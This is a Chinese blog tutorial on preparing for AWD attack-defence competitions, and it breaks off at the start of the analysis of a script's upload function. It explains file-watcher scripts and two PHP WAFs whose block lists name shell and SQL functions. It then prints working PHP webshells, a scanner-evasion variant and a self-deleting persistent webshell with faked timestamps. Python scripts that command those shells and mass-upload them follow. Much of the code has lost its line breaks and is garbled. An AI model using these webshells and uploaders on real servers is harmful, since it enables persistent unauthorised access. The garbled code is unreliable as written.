AWD:赛前准备工作以及深度脚本讲解
有幸被邀请代表学校去参加线下攻防,也就是俗称的AWD比赛。
当然,在这一方面我也只能算是小白,所以希望各位大佬在看完我写的博客以后能指正一些错误。
后面会有我自己写的脚本和对其他人写的脚本的解析,包括waf之类的东西都进行了详细的描述。
全文一共三万字,可以说是全网最详细的教程。
一.比赛介绍
AWD赛制是按照分组来进行比赛的。每组3-4人,经过不同的分工,从而实现对服务器的维护以及对其他人的服务器进行攻击。
每个服务器都会有一个提前放好的有漏洞的网站,需要进行代码审计,然后修补漏洞。
举个例子,某些参数一可以参杂系统的cmd命令上来,如果执行成功,就会获取你服务器上某个文件夹下的flag.txt的内容,一旦获取成功,就代表被攻破。
flag每隔一段时间都会刷新,所以可以一直被提取。最后比赛是按照你提的flag的数量来进行排名的。
二.分工
任务一:下载源码,源码备份,源码上传,查看日志
这个任务我感觉是最简单的了,首先使用xftp之类的软件链接到服务器,然后将源码拷贝下来就行了 。记得要做备份。
之后要做的就是等负责代码审计的人修补好漏洞以后将源码在传上去就行了。
至于最后一个,就是学会看日志。每个服务器都会记录访问请求,里面保存了所有访问记录。因此,有时候实在没有进攻思路,可以放开所有抱回,然后看看其他人是怎么打的你,在打回去就行了。
任务二:代码审计,写攻击防御脚本,修补漏洞
这个需要代码水平高的人来做,用得到的语言有php和python。
源码拿到以后,可以首先借助工具进行扫面,比如awvs,D盾之类的,如果扫描出漏洞就需要进行修补。
其次就是写脚本。这个我在后面会一一放出来,可以看看。
任务三:数据库注入
这个就是看数据库的漏洞,如果注入成功的话可以上传一句话木马。同样需要以为数据库大佬。
三.脚本
由于我主要是负责任务二的,所以通篇都会对一些大佬的代码进行分析。后面也有一些我自己写的代码。
脚本1:Prepare-for-AWD-master(来源于gitHUB)
攻击的话,其实就是利用一些漏洞进行攻击。这个大佬给的东西挺全的。结构如图。
这里先分析防御脚本。
防御
1.linux文件监控脚本.py
#!/usr/bin/python
#coding=utf-8
#Usage :python demo.py
#Code by : AdminTony
#QQ : 78941695
#注意:要将此文件放在有读写权限的目录以及所有修改过的php必须在此目录或者该目录的子目录中。
#作用:读取被修改过的文件,然后将文件的地址加上内容全部存放在txtimport sys,subprocess,os
#查找最近10分钟被修改的文件
def scanfile():#command: find -name '*.php' -mmin -10command = "find -name \'*.php\' -mmin -10"su = subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)STDOUT,STDERR = su.communicate()list = STDOUT.split("\n")#print str(list)#将文件处理成list类型然后返回。return list#读取文件:
def loadfile(addr):data = ""#如果文件不存在就跳出函数try :file = open(addr,'r')data = file.read()except : return 0all_data = addr+"\n"+data+"\n\n"file1 = open("shell.txt",'a+')#避免重复写入try:shell_content = file1.read()except:shell_content = "null"#如果文件内容不为空再写入,避免写入空的。#print shell_contentif data :if all_data not in shell_content:file1.write(all_data)file.close()file1.close()rm_cmd = "rm -rf "+addrsu = subprocess.Popen(rm_cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)su.communicate()print "loadfile over : "+addrif __name__ == '__main__':while True:list = scanfile()if list :for i in range(len(list)):#如果list[i]为空就不读取了if list[i]:loadfile(str(list[i]))else : pass
其实大佬已经写的挺清楚了。
先看主函数,调用了一次scanfile()函数。
scanfile()函数:
通过分析可知,这个函数写了一个线程,调用了linux命令,用来查找创建时间小于10分钟的文件,然后处理成列表的形式返回查找到的文件名。
因此我们可以搞清楚了:主函数里面的list存放的是找到的所有符合条件的文件名。
接着走main函数里面的是一个判断。如果成功,就对列表中的每个文件进行loadfile()函数的操作。
loadfile()函数:
可以看到一个用法:try-except。这个代表着抛出异常,当except不写异常,就代表着抛出所有异常。
第一个异常处理是如果成功读取文件内容的话就继续执行,不成功就抛出异常,结束函数。
接着,在shell.txt文件中将刚才的文件名和内容保存下来。
然后就是第二个异常。shell_content变量里面保存的是刚读取的可以文件信息。
然后就是一个判断。这个判断是为了防止已经写入过了,因此加的。
最后,新建一个线程来执行删除文件的命令。
很好,我们目前已经搞清楚了。整个代码的流程大概是:
- 首先执行一个死循环,这个循环中执行两个函数。
- 先执行函数scanfile()进行文件扫描,无可疑文件就接着循环,有可疑文件就执行loadfile()函数。
- 执行loadfile()函数进行删除文件并记录上传的文件内容。
因此我们可以得出一个结论:
这个脚本主要是为了防御文件上传。因为会不断删除上传上来的文件,所以即使上传上来一句话木马也没用。你们可以对脚本进行修改,添加一些别的东西上去。
当然,也有缺陷。
- 防御的是对文件修改的东西,无法防御修改数据库的东西。当然,这也许是我异想天开了,大佬勿喷。
- 这个脚本必须是在服务器有python环境的情况下,因此万一没有python环境就凉凉了。而且python2和python3是不一样的,有一些地方需要修改。
所以,为了解决这个缺陷,我找了一个linux脚本,这样的话就可以不借助python的情况下来实现相同的功能。脚本如下:
#!/bin/bash
while true
dofind /var/www/dvwa/ -cmin -10 -type f | xargs rm -rf sleep 1
done
注意要修改路径。这个路径是你比赛网站的位置。运行以后,会监控并删除(不会记录)可疑文件。当然,我也想写一个可以记录上传文件的代码,奈何技术不过关,我也不会写linux命令。
2.waf.php
(现在才知道,写完点保存还得关闭网页才行。写了三次了都,哭了呀)
waf就是流量防火墙。大佬给的waf有点缺点,就是只能记录流量。先上脚本分析。
<?php
error_reporting(0);
define('LOG_FILENAME', 'log.txt');
function waf() {if (!function_exists('getallheaders')) {function getallheaders() {foreach ($_SERVER as $name => $value) {if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;}return $headers;}}$get = $_GET;$post = $_POST;$cookie = $_COOKIE;$header = getallheaders();$files = $_FILES;$ip = $_SERVER["REMOTE_ADDR"];$method = $_SERVER['REQUEST_METHOD'];$filepath = $_SERVER["SCRIPT_NAME"];//rewirte shell which uploaded by others, you can do moreforeach ($_FILES as $key => $value) {$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);file_put_contents($_FILES[$key]['tmp_name'], "virink");}unset($header['Accept']); //fix a bug$input = array("Get" => $get,"Post" => $post,"Cookie" => $cookie,"File" => $files,"Header" => $header);//deal with$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";$vpattern = explode("|", $pattern);$bool = false;foreach ($input as $k => $v) {foreach ($vpattern as $value) {foreach ($v as $kk => $vv) {if (preg_match("/$value/i", $vv)) {$bool = true;logging($input);break;}}if ($bool) break;}if ($bool) break;}
}
function logging($var) {date_default_timezone_set("Asia/Shanghai");//修正时间为中国准确时间$time=date("Y-m-d H:i:s");//将时间赋值给变量$timefile_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);// die() or unset($_GET) or unset($_POST) or unset($_COOKIE);}
waf();
?>
先看第一段代码:
if (!function_exists('getallheaders')) {function getallheaders() {foreach ($_SERVER as $name => $value) {if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;}return $headers;}}
这段代码实现了函数的定义。如果没有找到getallheaders函数的定义,那么就实现自己的定义。
$get = $_GET;$post = $_POST;$cookie = $_COOKIE;$header = getallheaders();$files = $_FILES;$ip = $_SERVER["REMOTE_ADDR"];$method = $_SERVER['REQUEST_METHOD'];$filepath = $_SERVER["SCRIPT_NAME"];//rewirte shell which uploaded by others, you can do moreforeach ($_FILES as $key => $value) {$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);file_put_contents($_FILES[$key]['tmp_name'], "virink");}unset($header['Accept']); //fix a bug
这段代码实现了用变量来记录各种参数。包括上传的文件信息。
$input = array("Get" => $get,"Post" => $post,"Cookie" => $cookie,"File" => $files,"Header" => $header);//deal with$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";$vpattern = explode("|", $pattern);$bool = false;foreach ($input as $k => $v) {foreach ($vpattern as $value) {foreach ($v as $kk => $vv) {if (preg_match("/$value/i", $vv)) {$bool = true;logging($input);break;}}if ($bool) break;}if ($bool) break;}
这段代码实现了提交的参数的检查。
function logging($var) {date_default_timezone_set("Asia/Shanghai");//修正时间为中国准确时间$time=date("Y-m-d H:i:s");//将时间赋值给变量$timefile_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);// die() or unset($_GET) or unset($_POST) or unset($_COOKIE);}
这个就很明显了吧?实现了写入日志的功能。
原谅我写的简单,因为这是写了的第三遍了。。。心累。
用法的话就是在每个php文件的<?php字符的下一行加上代码:
require_once('waf.php');
即可,如图。
效果如图。乱码是因为我系统的原因。
我们用waf是为了进行一个过滤,但是这个waf并不能进行过滤,仅仅是用来记录的。因此,我们需要从别的角度来考虑,比如对代码进行一些修改。
奈何我对于php的水平也不是很高,所以只能做到代码审计,自己写还是很勉强,所以找了另一个大佬的。源码奉上。
waf2.php
<?php
date_default_timezone_set("PRC");
//这块在开始的代码没有的,我加的。不加就会报错。
//error_reporting(E_ALL);
//ini_set('display_errors', 1);/*
** 线下攻防php版本waf
**
** Author: 落
*//*
检测请求方式,除了get和post之外拦截下来并写日志。
*/
if($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET'){write_attack_log("method");
}$url = $_SERVER['REQUEST_URI']; //获取url来进行检测$data = file_get_contents('php://input'); //获取post的data,无论是否是mutipart$headers = get_all_headers(); //获取headerfilter_attack_keyword(filter_invisible(urldecode(filter_0x25($url)))); //对URL进行检测,出现问题则拦截并记录
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($data)))); //对POST的内容进行检测,出现问题拦截并记录/*
检测过了则对输入进行简单过滤
*/
foreach ($_GET as $key => $value) {$_GET[$key] = filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {$_POST[$key] = filter_dangerous_words($value);
}
foreach ($headers as $key => $value) {filter_attack_keyword(filter_invisible(urldecode(filter_0x25($value)))); //对http请求头进行检测,出现问题拦截并记录$_SERVER[$key] = filter_dangerous_words($value); //简单过滤
}/*
获取http请求头并写入数组
*/
function get_all_headers() { $headers = array(); foreach($_SERVER as $key => $value) { if(substr($key, 0, 5) === 'HTTP_') { $headers[$key] = $value; } } return $headers;
} /*
检测不可见字符造成的截断和绕过效果,注意网站请求带中文需要简单修改
*/
function filter_invisible($str){for($i=0;$i<strlen($str);$i++){$ascii = ord($str[$i]);if($ascii>126 || $ascii < 32){ //有中文这里要修改if(!in_array($ascii, array(9,10,13))){write_attack_log("interrupt");}else{$str = str_replace($ascii, " ", $str);}}}$str = str_replace(array("`","|",";",","), " ", $str);return $str;
}/*
检测网站程序存在二次编码绕过漏洞造成的%25绕过,此处是循环将%25替换成%,直至不存在%25
*/
function filter_0x25($str){if(strpos($str,"%25") !== false){$str = str_replace("%25", "%", $str);return filter_0x25($str);}else{return $str;}
}/*
攻击关键字检测,此处由于之前将特殊字符替换成空格,即使存在绕过特性也绕不过正则的\b
*/
function filter_attack_keyword($str){if(preg_match("/select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|multipoint\(/i", $str)){write_attack_log("sqli");}//此处文件包含的检测我真的不会写了,求高人指点。。。if(substr_count($str,$_SERVER['PHP_SELF']) < 2){$tmp = str_replace($_SERVER['PHP_SELF'], "", $str);if(preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)){ write_attack_log("LFI/LFR");;}}else{write_attack_log("LFI/LFR");}if(preg_match("/base64_decode|eval\(|assert\(/i", $str)){write_attack_log("EXEC");}if(preg_match("/flag/i", $str)){write_attack_log("GETFLAG");}}/*
简单将易出现问题的字符替换成中文
*/
function filter_dangerous_words($str){$str = str_replace("'", "‘", $str);$str = str_replace("\"", "“", $str);$str = str_replace("<", "《", $str);$str = str_replace(">", "》", $str);return $str;
}/*
获取http的请求包,意义在于获取别人的攻击payload
*/
function get_http_raw() { $raw = ''; $raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['SERVER_PROTOCOL']."\r\n"; foreach($_SERVER as $key => $value) { if(substr($key, 0, 5) === 'HTTP_') { $key = substr($key, 5); $key = str_replace('_', '-', $key); $raw .= $key.': '.$value."\r\n"; } } $raw .= "\r\n"; $raw .= file_get_contents('php://input'); return $raw;
}/*
这里拦截并记录攻击payload
*/
function write_attack_log($alert){$data = date("Y/m/d H:i:s")." -- [".$alert."]"."\r\n".get_http_raw()."\r\n\r\n";$ffff = fopen('log_is_a_secret_file.txt', 'a'); //日志路径 fwrite($ffff, $data); fclose($ffff);if($alert == 'GETFLAG'){echo "HCTF{aaaa}"; //如果请求带有flag关键字,显示假的flag。(2333333)}else{sleep(15); //拦截前延时15秒}exit(0);
}
echo $_SERVER['QUERY_STRING'];
?>
激动死我了,终于找到一个能用的waf了。膜拜大佬。先给大家看看效果。为了效果明显,我在脚本最后写了个
echo $_SERVER['QUERY_STRING'];
用于测试是否字符过滤成功。
如图,先随便测试一个参数:
成功了。我们在试试非法字符,比如引号。
我的页面加载了15秒以后,然后发现访问请求变成空的了。太秀了,感谢大佬解决了我头疼一天的问题。
原谅我忘了从哪保存的代码了。
如图,这个是此waf的拦截记录。
上面那个%E2%80%98 应该是单引号的编码。
这个waf是真的好用,可以将非法参数进行拦截,并且记录下来。完全可以这么说,只要waf写得好,你漏洞不修复都没事。
我们可以将两个waf都挂上,这样log.txt记录了所有请求,log_is_a_secret_file.txt记录了所有包含非法请求的字符。可谓天下无敌啊。
这个waf最6的地方就是,如果监测到有flag的字符的时候,则会显示一串假flag。秀的一匹。当然,你要是待要的话,可以将两个waf结合起来,不光有非法字符的过滤,还有非法函数的过滤,也就是第一个waf里面的pattern表。
好了,防御大概就说这么多吧。不知不觉字数已经一万多了,咱们继续。
攻击
所谓攻击,其实也就是防御的相反。想想看我们是从什么教的防御的?
- 连接一句话木马
- 提交非法参数
所以,我们从这两个角度来思考就行了。
首先,我们来思考第一个:连接一句话木马
一句话木马就是用php写一个仅仅一行的代码,然后用工具或者脚本进行连接。你当然可以使用中国菜刀等工具,但是由于一次只能连接一个,所以提取flag会比较慢。因此,你需要学会写脚本,这样的话可以一次行连接所有ip,然后抓取所有人的flag。
有时候不一定非要你传一句话木马才能连接,有的比赛会直接在网站后台放一句话木马。因此,你可以写一个开局先跑所有ip的某个固定目录下的一句话木马进行连接,如果成功就执行提flag命令,不成功就跳过这个ip。
由于比赛不一定所有人都是大佬,总有那么几个小白,这个方法是很容易成功的。所以可以提前准备一下。
其次是第二个问题:提交非法参数
之前有师哥师姐参加过这个比赛,所以我直接可以给你们举个例子。
比如:
http://ip/?id=ls
很简单吧?但是这就是那个比赛网站留下的一个后门,直接可以执行linux命令。我们的命令就成了非法参数。
我们可以手动模拟一下,如果我们挂了waf2.php,会怎么样呢?
比如使用命令:
http://ip/?id=cat flag.txt
我们可以跳过前面的,直接看waf2.php的代码:
代码块1:
if(preg_match("/flag/i", $str)){write_attack_log("GETFLAG");}
代码块2:
if($alert == 'GETFLAG'){echo "HCTF{aaaa}"; //如果请求带有flag关键字,显示假的flag。(2333333)}
哈哈哈,直接返回了一个假flag。
其他大部分非法命令也是类似这样。所以,理论上来说我们现在是无敌的,你要是会绕过的话当我没说。
那假如我们找到这个漏洞该怎么利用呢?
首先依据waf的记录,很容易就能看到别人怎么打进来的,所以我们在用回去就行了。这个方法其实就是俗称的蜜罐。
这时候就要用到我们的脚本了。我会在后面提供一个命令提交给所有ip的脚本,照着用就行了。
废话不多说了,先上大佬的脚本分析。
(脚本好多。。。看着就头疼,给个关注如何?)
这里先说下大佬进攻的原理,采用的是第一种方法,挂马。当然,前提是在能被传上文件的服务器才可以。
攻击步骤:
- 上传木马
- 连接木马
- 发送提取flag命令
首先我们需要对服务器上传一个一句话木马。比如:
<?php @eval($_POST['wzc']) ?>
这里解释一下一句话木马的编写原理和连接原理,以及免杀怎么写。
(这块内容是我写完以后又在中间插进来的,所以看着有可能和后面不太连贯)
我们一点一点来分析这段代码。
首先,我们可以看到,代码被包含在<?php ?>中。这就代表着我们在里面写的东西最后都会被当做命令来执行。
而一句话木马的目的,就是为了使用户提交上来的数据当作命令来执行,比如读取文件之类的。因此,我们想到了一种用法:
eval()函数。
这个函数就是将括号里的字符当作php代码来执行。
因此,如果我们在套到一个php超全局变量外面,这样,当用户将post参数提交上来,就可以被当作代码执行。
还有一个地方要说明的是,关于$_POST[‘wzc’]里面的’wzc’。这个有人叫“密码”,其实也不对,这个其实是一个字典的键。
当我们对一般网站提交post参数的时候,会将提交的参数形成一个字典,用对应的键名就可以访问。因此,在post方括号中写上随便一个字符,我们就可以在远端提交这个变量内容
你甚至可以将post改成get,手动就能连接这个一句话木马。比如:
<?php
@eval($_GET['wzc'])
?>
我们远端手动提交参数,可以直接看到结果。
%27是浏览器将单引号解析的结果。
另外还有一种写法,这个说实话我也不明白为什么能这样写。这个语法叫做断言。
代码如下:
<?php
@assert($_GET['wzc']);
?>
连接结果是一样的,我就不截图了。到目前为止还算正常吧?但是请看一下这种写法。
<?php
$a="assert";
@$a($_GET['wzc']);
?>
这有点打破我的认知啊。。。咋还能这么用呢?php难道能把字符当作函数名吗?
百度了半天也没看懂为啥能这样写,索性就不想了。我又试了试eval,这个不知道是我写错了还是啥,好像不能这样写。
那这样写有什么用呢?其实是和免杀有关。因为有的服务器会检测你上传的文件内容,如果包含一些特殊字符的话就会删除,所以,你就可以使用这个特性,将assert进行变形,比如:
<?php
$a = "a"."s"."s"."e"."r"."t";
$a($_POST[b]);
?>
这就是一个最简单的免杀。原理就不说了,自己想象。
先说说为啥我要加关于一句话这块的说明吧。因为昨天晚上在看web的时候,看到个一句话木马,试着连了一下,发现怎么也连不上。最后没办法,百度了答案才知道是怎么回事。
因此,我认为很多新手都可能不太懂什么是一句话木马,以及它的工作原理是什么,所以特地加了这个。
接着说说脚本怎么连接。
最简单的,代码如下。
import requests
url='http://192.168.1.101/.index.php'
payload={'wzc':'system(\'dir\');'
}
r=requests.post(url,payload,timeout=1)
r.encoding=r.apparent_encoding
print(r.text)
效果如图。
这个是post的代码,get更简单,懒得写了。
由于比赛的需要,可以将脚本进行更改,比如写入文件什么的。
代码如下:
import requests
url="http://192.168.1.110"
shell="/.index.php"
passwd="wzc"
port='80'
payload={passwd:"system(\'dir\');"#cd c:\\flag && type flag.txt
}
url1=url+':'+port+shell
print(url1)
response=requests.post(url1,payload,timeout=1)
response.encoding=response.apparent_encoding
print(response.text)
file=open("flag.txt","a")
file.write(response.text)
file.close()
首先是关于变量的说明。
url="http://192.168.1.110"
shell="/.index.php"
passwd="wzc"
port='80'
payload={passwd:"system(\'dir\');"#cd c:\\flag && type flag.txt
}
url:用于存放被攻击服务器的ip
shell:一句话木马的上传位置
passwd:密码
port:网站端口
payload:用于执行的命令。我测试了一个显示当前目录文件的命令。
其次后面的几条代码:
print(url1)
response=requests.post(url1,payload,timeout=1)
response.encoding=response.apparent_encoding
print(response.text)
这几条代码用于连接,原理和爬虫一样。
最后这块:
file=open("flag.txt","a")
file.write(response.text)
file.close()
由于是比赛用的,所以在命令执行成功以后会抓取的flag保存。
如图,我先假设我们随便上传了一个一句话木马,名字起名为.index.php。
然后使用脚本进行连接。
看,是不是执行成功了?由此可见,我们只要把命令改成读取flag的命令,我们就能为所欲为了。
但是,有时候我们上传了木马以后,被攻击的服务器可能运行了检测文件脚本,一上传就给我们删除了,该怎么办呢?
这时候就需要用到大佬给的不死马脚本了。代码如下。
隐藏不死马测试版.php
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = './.index.php';
$code = '<?php @eval($_POST[\'wzc\']) ?>';
while (1){file_put_contents($file,$code);system('touch -m -d "2017-11-12 10:10:10" .index.php');usleep(50000);
}
?>
不知道是我这头出了bug还是啥,在测试的时候发现生成的不死马没法用,于是我改了一个比较好用的。
用法也很简单,就是将这个文件上传,然后在网页输入这个页面就行了。如图。
首先,我先上传这个文件,起名为hint2.php。
然后,在网页输入这个页面。如图,现在已经启动成功了。关掉页面即可。
这时候在看服务器,生成了一个.index.php,并且自动隐藏了hint2.php。
我们尝试删除这个木马,发现不行,仍然会自动生成。
这样,我们就有了永久权限。那假如我们的服务器被挂了不死马,该怎么办呢?大佬也给了解决方法。
克制不死马.txt
目前最有效的是重启。。。但是重启就要扣分,所以中了不死马是很麻烦的。
这个文件中的其他不死马我就不给你们看了,都没这个好用。剩下的几个首先就是用命令生成不死马了。代码如下。
system('while true;do echo \'<?php @eval($_POST[\'wzc\']) ?>\' > .index.php;sleep 0.1;done;');
接着我们进行一下拓展:如何一次性上传批量的一句话木马?
因为比赛用的网站都是同一个,也就是说,在一个地方发现可以上传文件的地方,那么其他ip的同一个位置也是可以进行文件上传的。
因此,我们可以写一个将所有ip都尝试上传文件的脚本。
不过在写这个之前,我们先想想看,如何对网站上传脚本?
对于这个问题。。。我也没想到怎么解决,百度的东西都不怎么靠谱,所以我干脆就放弃这个依靠网站上传点的漏洞了。
(也许是我异想天开了,哈哈,如果这个可以写的话,那么每次比赛就坐着就行了,一个脚本点开以后就等着提交flag就行了。)
大佬给的脚本我看了,前提是传上一句话木马才能用。只能说是基于上传一句话以后的省事用法。虽然我看的块吐了,不过该看还得看。
先分析第一个。
upload_shell.py
#!/usr/bin/python
#coding=utf-8import sys,requests,base64'''
Usage:
将所需要传shell的url放在webshell.txt中,格式如下:
url(含http:// or https://),method(请求方式),passwd
http://127.0.0.1:80/1110/x.php,post,x
http://127.0.0.2/1110/x.php,post,x
http://127.0.0.3/1110/x.php,post,xtips: 别在","前后放空格。
'''
#获取靶机的绝对路径
def getpath(url,method,passwd):data = {}if method == "get":data[passwd] = '@eval(base64_decode($_GET[z0]));'data['z0'] = 'ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'res = requests.get(url,params=data)return res.content.strip()elif method == "post" :data[passwd] = '@eval(base64_decode($_POST[z0]));'data['z0'] = 'ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'res = requests.post(url,data=data)#print datareturn res.content.strip()else :return 0#加载要上传的后门内容
def loadfile(filepath):try : file = open(filepath,"rb")return str(file.read())except : print "File %s Not Found!" %filepathsys.exit()#写马函数
def upload(url,method,passwd):#http://127.0.0.1:80/1110/x.php,post,x'''1.http or https2.端口要放在ip变量中3.Rfile /1110/x.php'''try:url.index("http")#去除http:// ==> 127.0.0.1:80/1110/x.phpurlstr=url[7:]lis = urlstr.split("/")ip=str(lis[0])Rfile = ""for i in range(1,len(lis)):Rfile = Rfile+"/"+str(lis[i])except :urlstr=url[8:]lis = urlstr.split("/")ip=str(lis[0])Rfile = ""for i in range(1,len(lis)):Rfile = Rfile+"/"+str(lis[i])#判断shell是否存在try :res = requests.get(url,timeout=10)except : print "[-] %s ERR_CONNECTION_TIMED_OUT" %urlreturn 0if res.status_code!=200 :print "[-] %s Page Not Found!" %urlreturn 0#加载要写入的内容shellPath = "./shell.php"shell_content = loadfile(shellPath)#获取靶机的绝对路径Rpath = getpath(url,method,passwd)#D:/phpStudy/WWW/1110/x.phplist0 = Rpath.split("/")Rpath = ""for i in range(0,(len(list0)-1)):Rpath = Rpath+list0[i]+"/"data = {}#判断methodif method =="post" :data[passwd] = "@eval(base64_decode($_POST['z0']));"data['z0'] = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'data['z1'] = base64.b64encode(Rpath+"/fuck.php")data["z2"] = base64.b64encode(shell_content)#print datares = requests.post(url,data=data)elif method=="get" :data[passwd] = "@eval(base64_decode($_GET['z0']));"data['z0'] = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX0dFVFsiejEiXSk7CiRjPWJhc2U2NF9kZWNvZGUoJF9HRVRbInoyIl0pOwokYz1zdHJfcmVwbGFjZSgiXHIiLCIiLCRjKTsKJGM9c3RyX3JlcGxhY2UoIlxuIiwiIiwkYyk7CiRidWY9IiI7CmZvcigkaT0wOyRpPHN0cmxlbigkYyk7JGkrPTEpCiAgICAkYnVmLj1zdWJzdHIoJGMsJGksMSk7CmVjaG8oQGZ3cml0ZShmb3BlbigkZiwidyIpLCRidWYpKTsKZWNobygifDwtIik7CmRpZSgpOw=='data['z1'] = base64.b64encode(Rpath+"/fuck.php")data["z2"] = base64.b64encode(shell_content)res = requests.post(url,params=data)else :print "method err!"sys.exit()#判断是否上传成功,失败直接跳过#print res.contentif res.status_code!=200:print "[-] %s upload failed!" %ipreturn 0#激活不死马list=Rfile.split("/")b_url="http://"+ipmax = len(list)-1for i in range(1,max):b_url=b_url+"/"+list[i]bsm_url = b_url+"/fuck.php"try : res = requests.get(bsm_url,timeout=3)except :pass#尝试访问不死马生成的shellshell_url = b_url+"/.index.php"res = requests.get(shell_url)if res.status_code!=200 :print "[-] %s create shell failed!" %bsm_urlreturn 0#输出shell地址print "[+] %s upload sucessed!" %shell_urlif __name__ == '__main__':shellstr=loadfile("./webshell.txt")list = shellstr.split("\r\n")#print str(list)i = 0url={}passwd={}method={}for data in list:if data:ls = data.split(",")method_tmp = str(ls[1])method_tmp = method_tmp.lower()if method_tmp=='post' or method_tmp=='get':url[i]=str(ls[0])method[i]=method_tmppasswd[i]=str(ls[2])i+=1else :print "[-] %s request method error!" %(str(ls[0]))else : passfor j in range(len(url)):#print "url is %s method is %s passwd is %s" %(url[j],method[j],passwd[j])upload(url=url[j],method=method[j],passwd=passwd[j])
先解释一下这个脚本的作用。当你在网站找到或者上传了一句话木马,那么你就可以在你的文件中新建一个shell.txt。格式在上面。
然后这个脚本会自动运行,靠着你传上去的一句话,在网站的上传目录下写入我们上面提到的不死马我文件,并且自动激活(激活就类似于我们远程访问这个不死马文件)。
有点失望。。。开始还以为能直接有上传脚本。不过这一样也挺好,最起码挺省事的。
上分析。
先观察主函数。
if __name__ == '__main__':shellstr=loadfile("./webshell.txt")list = shellstr.split("\r\n")#print str(list)i = 0url={}passwd={}method={}for data in list:if data:ls = data.split(",")method_tmp = str(ls[1])method_tmp = method_tmp.lower()if method_tmp=='post' or method_tmp=='get':url[i]=str(ls[0])method[i]=method_tmppasswd[i]=str(ls[2])i+=1else :print "[-] %s request method error!" %(str(ls[0]))else : passfor j in range(len(url)):#print "url is %s method is %s passwd is %s" %(url[j],method[j],passwd[j])upload(url=url[j],method=method[j],passwd=passwd[j])
这段代码的作用是先利用loadfile函数读取文件,之后下面进行一定的判断,方便upload函数的处理。
loadfile():
def loadfile(filepath):try : file = open(filepath,"rb")return str(file.read())except : print "File %s Not Found!" %filepathsys.exit()
读取文件。
getpath():
def getpath(url,method,passwd):data = {}if method == "get":data[passwd] = '@eval(base64_decode($_GET[z0]));'data['z0'] = 'ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'res = requests.get(url,params=data)return res.content.strip()elif method == "post" :data[passwd] = '@eval(base64_decode($_POST[z0]));'data['z0'] = 'ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'res = requests.post(url,data=data)#print datareturn res.content.strip()else :return 0
ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107使用base64解码是:
echo $_SERVER[‘SCRIPT_FILENAME’];
这个函数执行以后,用提前写好的一句话木马连接,会返回服务器当前脚本的路径。
upload():
